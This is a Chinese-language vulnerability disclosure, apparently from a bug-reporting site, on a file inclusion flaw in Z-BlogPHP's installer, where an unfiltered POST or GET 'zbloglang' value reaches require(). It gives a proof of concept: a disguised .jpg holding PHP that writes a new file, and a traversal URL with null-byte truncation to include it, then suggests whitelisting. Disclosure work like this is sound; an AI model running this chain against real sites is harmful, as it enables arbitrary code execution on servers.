问题出现在zb_install/index.php中
```
$zbloglang=&$zbp->option['ZC_BLOG_LANGUAGEPACK']; //首先定义zbloglang
if(isset($_POST['zbloglang']))$zbloglang=$_POST['zbloglang'];//如果设置了post的 就用post传递来的做这变量了。 因为zblog防止sql注入都是通过在查询函数的时候 不采用拼接 所以他们也没对post转义 这样是注入少了 但是也造成了这里的漏洞。
$zbp->LoadLanguage('system','',$zbloglang);//跟跟跟
$zbp->LoadLanguage('zb_install','zb_install',$zbloglang);
$zbp->option['ZC_BLOG_LANGUAGE'] = $zbp->lang ['lang'];
```
```
public function LoadLanguage($type,$id,$default=''){
if($type=='system'){
if($default=='')$default=$this->option['ZC_BLOG_LANGUAGEPACK'];
if(is_readable($f=$this->path . 'zb_users/language/' . $default . '.php')){
$this->lang = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='zh-cn';
if(is_readable($f=$this->path . 'zb_users/language/' . $default . '.php')){
$this->lang = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='en';
if(is_readable($f=$this->path . 'zb_users/language/' . $default . '.php')){
$this->lang = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
}elseif($type=='plugin' || $type=='theme'){
if($default=='')$default=$this->option['ZC_BLOG_LANGUAGEPACK'];
if(is_readable($f=$this->path . 'zb_users/'.$type.'/'.$id.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='zh-cn';
if(is_readable($f=$this->path . 'zb_users/'.$type.'/'.$id.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='en';
if(is_readable($f=$this->path . 'zb_users/'.$type.'/'.$id.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
}elseif($type!='' && $id!=''){
if($default=='')$default=$this->option['ZC_BLOG_LANGUAGEPACK'];
if(is_readable($f=$this->path . $type.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='zh-cn';
if(is_readable($f=$this->path . $type.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='en';
if(is_readable($f=$this->path . $type.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
}
}
```
看这函数就知道,虽然限制了必须为.php后缀的 但是因为没对POST转义 所以我们可以截断后面的.php。
看这函数就知道了 到处包含,虽然限制了必须为.php后缀的 但是因为没对POST转义 所以我们可以截断后面的.php咯。大概找了一下 没找到能够上传图片的地方 这里我就自己新建一个jpg了把。 来测试测试就好。
新建一个 yu.jpg。
```
<?php
fputs(fopen('testx.php','w'),'<?php phpinfo();?>');
```
```
$zbp->LoadLanguage('system','',$zbloglang);
$zbp->LoadLanguage('zb_install','zb_install',$zbloglang);
```
因为他这里load了两个 当满足第一个的时候第二个就不会满足 就会出错。所以我们直接fputs一个文件就行。
在根目录下。
```
http://web/small/zblog/zb_install/index.php?zbloglang=../../yu.jpg%00
```
###0x03漏洞证明
![](https://images.seebug.org/contribute/ed31caa9-4e1d-49a7-b9be-9668ec0bd3e5-1.jpg)
###0x04修复方案
这里应该对post来的zbloglang进行限制。in_array('en','zh' 之类的 限制只能包含那几个文件。
暂无评论